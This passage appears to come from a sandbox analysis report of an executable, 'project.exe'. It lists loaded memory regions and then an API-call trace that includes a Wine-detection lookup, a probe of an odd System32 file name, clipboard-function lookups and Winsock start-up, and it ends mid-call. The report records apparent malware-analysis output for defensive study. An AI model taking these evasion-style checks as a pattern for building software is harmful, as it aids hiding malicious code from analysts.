0x0 region_type = mapped_file name = "wbemdisp.tlb" filename = "\\Windows\\System32\\wbem\\wbemdisp.tlb" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.tlb") Region: id = 1221 start_va = 0x7fffb4750000 end_va = 0x7fffb4777fff monitored = 0 entry_point = 0x7fffb4759440 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1222 start_va = 0x7fffb4780000 end_va = 0x7fffb4793fff monitored = 0 entry_point = 0x7fffb4781800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1223 start_va = 0x7fffb4820000 end_va = 0x7fffb492afff monitored = 0 entry_point = 0x7fffb4855c10 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1224 start_va = 0x4df10000 end_va = 0x4df13fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 1540 start_va = 0x7fffc98a0000 end_va = 0x7fffc9909fff monitored = 0 entry_point = 0x7fffc98b0e90 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1541 start_va = 0x4d6d0000 end_va = 0x4d6d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004d6d0000" filename = "" Region: id = 1542 start_va = 0x4e350000 end_va = 0x4e841fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004e350000" filename = "" Region: id = 1543 start_va = 0x4dcf0000 end_va = 0x4dcf0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004dcf0000" filename = "" Region: id = 1544 start_va = 0x7fffc0700000 end_va = 0x7fffc07adfff monitored = 0 entry_point = 0x7fffc074b570 region_type = mapped_file name = "textshaping.dll" filename = "\\Windows\\System32\\TextShaping.dll" (normalized: "c:\\windows\\system32\\textshaping.dll") Region: id = 1545 start_va = 0x4e850000 end_va = 0x4faaffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1546 start_va = 0x7fffcaa90000 end_va = 0x7fffcaba4fff monitored = 0 entry_point = 0x7fffcaaceb60 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1547 start_va = 0x4dd00000 end_va = 0x4dd00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004dd00000" filename = "" Region: id = 1548 start_va = 0x4dd00000 end_va = 0x4dde1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004dd00000" filename = "" Region: id = 1549 start_va = 0x4ddf0000 end_va = 0x4ddf3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004ddf0000" filename = "" Region: id = 1550 start_va = 0x4de00000 end_va = 0x4de04fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1551 start_va = 0x4de10000 end_va = 0x4de16fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004de10000" filename = "" Region: id = 1552 start_va = 0x4de20000 end_va = 0x4de20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000004de20000" filename = "" Region: id = 1553 start_va = 0x7fffc2e90000 end_va = 0x7fffc2f8bfff monitored = 0 entry_point = 0x7fffc2ecae50 region_type = mapped_file name = "textinputframework.dll" filename = "\\Windows\\System32\\TextInputFramework.dll" (normalized: "c:\\windows\\system32\\textinputframework.dll") Region: id = 1554 start_va = 0x7fffc7600000 end_va = 0x7fffc7959fff monitored = 0 entry_point = 0x7fffc7682d50 region_type = mapped_file name = "coreuicomponents.dll" filename = "\\Windows\\System32\\CoreUIComponents.dll" (normalized: "c:\\windows\\system32\\coreuicomponents.dll") Region: id = 1555 start_va = 0x7fffcad80000 end_va = 0x7fffcae2dfff monitored = 0 entry_point = 0x7fffcadbb940 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1556 start_va = 0x7fffc7960000 end_va = 0x7fffc7a51fff monitored = 0 entry_point = 0x7fffc79b70f0 region_type = mapped_file name = "coremessaging.dll" filename = "\\Windows\\System32\\CoreMessaging.dll" (normalized: "c:\\windows\\system32\\coremessaging.dll") Region: id = 1557 start_va = 0x7fffc9000000 end_va = 0x7fffc9032fff monitored = 0 entry_point = 0x7fffc9006930 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1558 start_va = 0x7fffc6f30000 end_va = 0x7fffc7085fff monitored = 0 entry_point = 0x7fffc6f5b240 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1559 start_va = 0x4df00000 end_va = 0x4dffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000004df00000" filename = "" Region: id = 3022 start_va = 0x7ff4fdab0000 end_va = 0x7ff4fde8cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Thread: id = 1 os_tid = 0x16ac [0170.289] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb440000 [0170.289] GetProcAddress (hModule=0x7fffcb440000, lpProcName="AddVectoredContinueHandler") returned 0x7fffccb08640 [0170.289] LoadLibraryExW (lpLibFileName="bcryptprimitives.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffca480000 [0170.366] GetProcAddress (hModule=0x7fffca480000, lpProcName="ProcessPrng") returned 0x7fffca494a90 [0170.366] LoadLibraryExW (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcca30000 [0170.366] GetProcAddress (hModule=0x7fffcca30000, lpProcName="NtWaitForSingleObject") returned 0x7fffccacae00 [0170.366] GetProcAddress (hModule=0x7fffcca30000, lpProcName="RtlGetCurrentPeb") returned 0x7fffccb2b910 [0170.366] GetProcAddress (hModule=0x7fffcca30000, lpProcName="RtlGetNtVersionNumbers") returned 0x7fffccb03920 [0170.366] LoadLibraryExW (lpLibFileName="winmm.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffb57b0000 [0170.390] GetProcAddress (hModule=0x7fffb57b0000, lpProcName="timeBeginPeriod") returned 0x7fffb57b1060 [0170.390] GetProcAddress (hModule=0x7fffb57b0000, lpProcName="timeEndPeriod") returned 0x7fffb57b1040 [0170.390] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcc020000 [0170.397] GetProcAddress (hModule=0x7fffcc020000, lpProcName="WSAGetOverlappedResult") returned 0x7fffcc022170 [0170.397] GetProcAddress (hModule=0x7fffcca30000, lpProcName="wine_get_version") returned 0x0 [0170.398] GetErrorMode () returned 0x0 [0170.398] SetErrorMode (uMode=0x8003) returned 0x0 [0170.398] WerGetFlags () returned 0x80070490 [0170.398] WerSetFlags () returned 0x0 [0170.398] RtlAddVectoredExceptionHandler (FirstHandler=0x1, VectoredHandler=0xe94bc0) returned 0x107440 [0170.399] RtlAddVectoredContinueHandler () returned 0x107470 [0170.399] RtlAddVectoredContinueHandler () returned 0x1074a0 [0170.400] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0xc8 [0170.400] CloseHandle (hObject=0xc8) returned 1 [0170.400] GetSystemDirectoryA (in: lpBuffer=0x4817200, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0170.400] RtlGetNtVersionNumbers () returned 0xf0004a61 [0170.400] RtlGetCurrentPeb () returned 0x348000 [0170.400] ProcessPrng () returned 0x1 [0170.401] CreateFileA (lpFileName="C:\\Windows\\system32\\5a8dd6a129bf0d88c880de4bb5ded3c6520eaf3d6f667ed663e58f1bd400c535AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" (normalized: "c:\\windows\\system32\\5a8dd6a129bf0d88c880de4bb5ded3c6520eaf3d6f667ed663e58f1bd400c535aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0170.401] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0x5ffe58, lpSystemAffinityMask=0x5ffe50 | out: lpProcessAffinityMask=0x5ffe58, lpSystemAffinityMask=0x5ffe50) returned 1 [0170.401] GetSystemInfo (in: lpSystemInfo=0x5ffec0 | out: lpSystemInfo=0x5ffec0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0170.402] SetProcessPriorityBoost (hProcess=0xffffffffffffffff, bDisablePriorityBoost=1) returned 1 [0170.966] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x90000 [0170.967] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0xd0000 [0170.967] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x4) returned 0x8d0000 [0170.968] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x2000, flProtect=0x4) returned 0x5fc0000 [0170.968] VirtualAlloc (lpAddress=0x0, dwSize=0x4000000, flAllocationType=0x2000, flProtect=0x4) returned 0x67c0000 [0170.972] VirtualAlloc (lpAddress=0x0, dwSize=0x20000000, flAllocationType=0x2000, flProtect=0x4) returned 0xa7c0000 [0171.024] VirtualAlloc (lpAddress=0x0, dwSize=0x20000000, flAllocationType=0x2000, flProtect=0x4) returned 0x2a7c0000 [0171.085] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000000000 [0171.086] VirtualAlloc (lpAddress=0x0, dwSize=0x800000, flAllocationType=0x3000, flProtect=0x4) returned 0x4a7c0000 [0171.087] VirtualAlloc (lpAddress=0x0, dwSize=0x114d0, flAllocationType=0x3000, flProtect=0x4) returned 0x9d0000 [0171.088] VirtualAlloc (lpAddress=0xd0000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0xd0000 [0171.089] VirtualAlloc (lpAddress=0x950000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x950000 [0171.089] VirtualAlloc (lpAddress=0x63c6000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x63c6000 [0171.089] VirtualAlloc (lpAddress=0x87f0000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x87f0000 [0171.089] VirtualAlloc (lpAddress=0x1a940000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1a940000 [0171.090] VirtualAlloc (lpAddress=0x3a940000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a940000 [0171.090] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0xa40000 [0171.093] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0xf0000 [0171.093] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x3000, flProtect=0x4) returned 0x9f0000 [0171.093] VirtualAlloc (lpAddress=0xc000000000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000000000 [0171.096] VirtualAlloc (lpAddress=0xc000002000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000002000 [0171.096] VirtualAlloc (lpAddress=0xc000004000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000004000 [0171.097] ProcessPrng () returned 0x1 [0171.097] ProcessPrng () returned 0x1 [0171.097] VirtualAlloc (lpAddress=0xc000006000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000006000 [0171.098] VirtualAlloc (lpAddress=0xc000008000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000008000 [0171.098] VirtualAlloc (lpAddress=0xc00000a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000a000 [0171.152] VirtualAlloc (lpAddress=0xc00000c000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00000c000 [0171.251] VirtualAlloc (lpAddress=0xc00001a000, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00001a000 [0171.304] VirtualAlloc (lpAddress=0xc00002c000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00002c000 [0171.462] VirtualAlloc (lpAddress=0xc000036000, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000036000 [0171.508] VirtualAlloc (lpAddress=0xc000048000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000048000 [0171.509] VirtualAlloc (lpAddress=0xc00004a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004a000 [0171.509] VirtualAlloc (lpAddress=0xc00004c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004c000 [0171.510] VirtualAlloc (lpAddress=0xc00004e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00004e000 [0171.510] VirtualAlloc (lpAddress=0xc000050000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000050000 [0171.510] VirtualAlloc (lpAddress=0xc000052000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000052000 [0171.511] VirtualAlloc (lpAddress=0xc000054000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000054000 [0171.511] FreeEnvironmentStringsW (penv=0x10dc10) returned 1 [0171.513] VirtualAlloc (lpAddress=0xc000056000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000056000 [0171.515] VirtualAlloc (lpAddress=0xc000058000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000058000 [0171.515] SetConsoleCtrlHandler (HandlerRoutine=0xe950e0, Add=1) returned 1 [0171.516] LoadLibraryExW (lpLibFileName="powrprof.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffc9f30000 [0171.532] GetProcAddress (hModule=0x7fffc9f30000, lpProcName="PowerRegisterSuspendResumeNotification") returned 0x7fffc9f329b0 [0171.532] VirtualAlloc (lpAddress=0xc00005a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005a000 [0171.532] PowerRegisterSuspendResumeNotification (in: Flags=0x2, Recipient=0x5ffdf8, RegistrationHandle=0x5ffdf0 | out: RegistrationHandle=0x5ffdf0) returned 0x0 [0171.533] VirtualAlloc (lpAddress=0xc00005c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005c000 [0171.536] VirtualAlloc (lpAddress=0xc00005e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00005e000 [0171.537] VirtualAlloc (lpAddress=0xc000060000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000060000 [0171.540] VirtualAlloc (lpAddress=0xc00006e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00006e000 [0171.540] VirtualAlloc (lpAddress=0xc000070000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000070000 [0171.542] VirtualAlloc (lpAddress=0xc000078000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000078000 [0171.543] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x5ffe38, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x5ffe38*=0xe4) returned 1 [0171.543] GetCurrentThreadId () returned 0x16ac [0171.543] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0xe8 [0171.543] VirtualQuery (in: lpAddress=0x5ffe58, lpBuffer=0x5ffe58, dwLength=0x30 | out: lpBuffer=0x5ffe58*(BaseAddress=0x5ff000, AllocationBase=0x400000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0171.544] VirtualAlloc (lpAddress=0xc00007a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007a000 [0171.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xe94da0, lpParameter=0xc00007a400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec [0171.547] CloseHandle (hObject=0xec) returned 1 [0171.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xe94da0, lpParameter=0xc00007a800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec [0171.574] CloseHandle (hObject=0xec) returned 1 [0171.576] VirtualAlloc (lpAddress=0xc000080000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000080000 [0171.577] VirtualAlloc (lpAddress=0xc00007c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007c000 [0171.578] VirtualAlloc (lpAddress=0xc00007e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00007e000 [0171.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xe94da0, lpParameter=0xc00007ac00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xec [0171.578] CloseHandle (hObject=0xec) returned 1 [0171.579] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xec [0171.579] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xf0 [0171.579] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0171.877] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0xffffffff) returned 0x0 [0172.060] VirtualAlloc (lpAddress=0xc000102000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000102000 [0172.062] VirtualAlloc (lpAddress=0xc000104000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000104000 [0172.063] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0xd80000 [0172.070] VirtualAlloc (lpAddress=0xc00011c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00011c000 [0172.087] VirtualAlloc (lpAddress=0xc000120000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000120000 [0172.087] VirtualAlloc (lpAddress=0xc000126000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000126000 [0172.093] VirtualAlloc (lpAddress=0xc000128000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000128000 [0172.101] VirtualAlloc (lpAddress=0xc00012a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012a000 [0172.103] VirtualAlloc (lpAddress=0xc00012c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012c000 [0172.115] VirtualAlloc (lpAddress=0xc00012e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012e000 [0172.121] VirtualAlloc (lpAddress=0x0, dwSize=0x15f8f8, flAllocationType=0x3000, flProtect=0x4) returned 0x4b5c0000 [0172.122] VirtualAlloc (lpAddress=0xc000130000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000130000 [0172.128] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb440000 [0172.128] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetStdHandle") returned 0x7fffcb45d430 [0172.128] GetStdHandle (nStdHandle=0xfffffff6) returned 0x50 [0172.128] GetStdHandle (nStdHandle=0xfffffff5) returned 0x54 [0172.128] GetStdHandle (nStdHandle=0xfffffff4) returned 0x58 [0172.132] VirtualAlloc (lpAddress=0xc000132000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000132000 [0172.136] LoadLibraryW (lpLibFileName="user32") returned 0x7fffcb7a0000 [0172.209] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0xdc0000 [0172.209] VirtualAlloc (lpAddress=0xc000180000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000180000 [0172.210] VirtualAlloc (lpAddress=0xc000182000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000182000 [0172.210] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="IsClipboardFormatAvailable") returned 0x7fffcb7c3040 [0172.211] VirtualAlloc (lpAddress=0xc000184000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000184000 [0172.211] VirtualAlloc (lpAddress=0xc000186000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000186000 [0172.211] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="OpenClipboard") returned 0x7fffcb7cb270 [0172.211] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="CloseClipboard") returned 0x7fffcb7cc2c0 [0172.211] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="EmptyClipboard") returned 0x7fffcb7d1f10 [0172.211] VirtualAlloc (lpAddress=0xc000188000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000188000 [0172.212] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="GetClipboardData") returned 0x7fffcb7cad30 [0172.257] GetProcAddress (hModule=0x7fffcb7a0000, lpProcName="SetClipboardData") returned 0x7fffcb7cf990 [0172.258] VirtualAlloc (lpAddress=0xc00018a000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018a000 [0172.262] VirtualAlloc (lpAddress=0xc00018e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00018e000 [0172.264] LoadLibraryExW (lpLibFileName="kernel32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcb440000 [0172.264] GetProcAddress (hModule=0x7fffcb440000, lpProcName="QueryPerformanceFrequency") returned 0x7fffcb45ae40 [0172.264] QueryPerformanceFrequency (in: lpFrequency=0xc000075dd8 | out: lpFrequency=0xc000075dd8*=100000000) returned 1 [0172.264] GetProcAddress (hModule=0x7fffcb440000, lpProcName="QueryPerformanceCounter") returned 0x7fffcb455bb0 [0172.264] QueryPerformanceCounter (in: lpPerformanceCount=0xc000075dd8 | out: lpPerformanceCount=0xc000075dd8*=1316006242261) returned 1 [0172.266] LoadLibraryExW (lpLibFileName="ws2_32.dll", hFile=0x0, dwFlags=0x800) returned 0x7fffcc020000 [0172.266] GetProcAddress (hModule=0x7fffcc020000, lpProcName="WSAStartup") returned 0x7fffcc02eb10 [0172.266] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xc000075c68 | out: lpWSAData=0xc000075c68) returned 0 [0172.282] VirtualAlloc (lpAddress=0xc000190000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000190000 [0172.285] VirtualAlloc (lpAddress=0xc000198000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000198000 [0172.285] GetProcAddress (hModule=0x7fffcb440000, lpProcName="SetFileCompletionNotificationModes") returned 0x7fffcb45dee0 [0172.286] GetProcAddress (hModule=0x7fffcc020000, lpProcName="WSAEnumProtocolsW") returned 0x7fffcc059770 [0172.286] WSAEnumProtocolsW (in: lpiProtocols=0xc000192dc0, lpProtocolBuffer=0xc000192dc8, lpdwBufferLength=0xc000192dbc | out: lpProtocolBuffer=0xc000192dc8, lpdwBufferLength=0xc000192dbc) returned 4 [0172.347] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetConsoleMode") returned 0x7fffcb465290 [0172.348] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0xc000197da4 | out: lpMode=0xc000197da4) returned 1 [0172.369] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetFileType") returned 0x7fffcb464d50 [0172.369] GetFileType (hFile=0x50) returned 0x2 [0172.369] VirtualAlloc (lpAddress=0xc00019a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019a000 [0172.370] VirtualAlloc (lpAddress=0xc00019c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019c000 [0172.371] VirtualAlloc (lpAddress=0xc00019e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00019e000 [0172.371] SetEvent (hEvent=0x114) returned 1 [0172.371] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0xc000197da4 | out: lpMode=0xc000197da4) returned 1 [0172.415] GetFileType (hFile=0x54) returned 0x2 [0172.415] VirtualAlloc (lpAddress=0xc00008e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00008e000 [0172.415] VirtualAlloc (lpAddress=0xc000090000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000090000 [0172.416] GetConsoleMode (in: hConsoleHandle=0x58, lpMode=0xc000197da4 | out: lpMode=0xc000197da4) returned 1 [0172.464] GetFileType (hFile=0x58) returned 0x2 [0172.465] VirtualAlloc (lpAddress=0xc000092000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000092000 [0172.466] GetProcAddress (hModule=0x7fffcb440000, lpProcName="GetCommandLineW") returned 0x7fffcb45f360 [0172.466] VirtualAlloc (lpAddress=0xc000094000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000094000 [0172.469] GetCommandLineW () returned="\"C:\\Users\\OqXZRaykm\\Desktop\\project.exe\" " [0172.470] VirtualAlloc (lpAddress=0xc000096000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000096000 [0172.470] VirtualAlloc (lpAddress=0xc000098000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000098000 [0172.471] VirtualAlloc (lpAddress=0xc00009a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009a000 [0172.472] VirtualAlloc (lpAddress=0xc00009c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00009c000 [0172.473] GetProcAddress (hModule=0x7fffcb440000, lpProcName="LoadLibraryW") returned 0x7fffcb45fe80 [0172.473] LoadLibraryW (lpLibFileName="kernel32.dll") returned 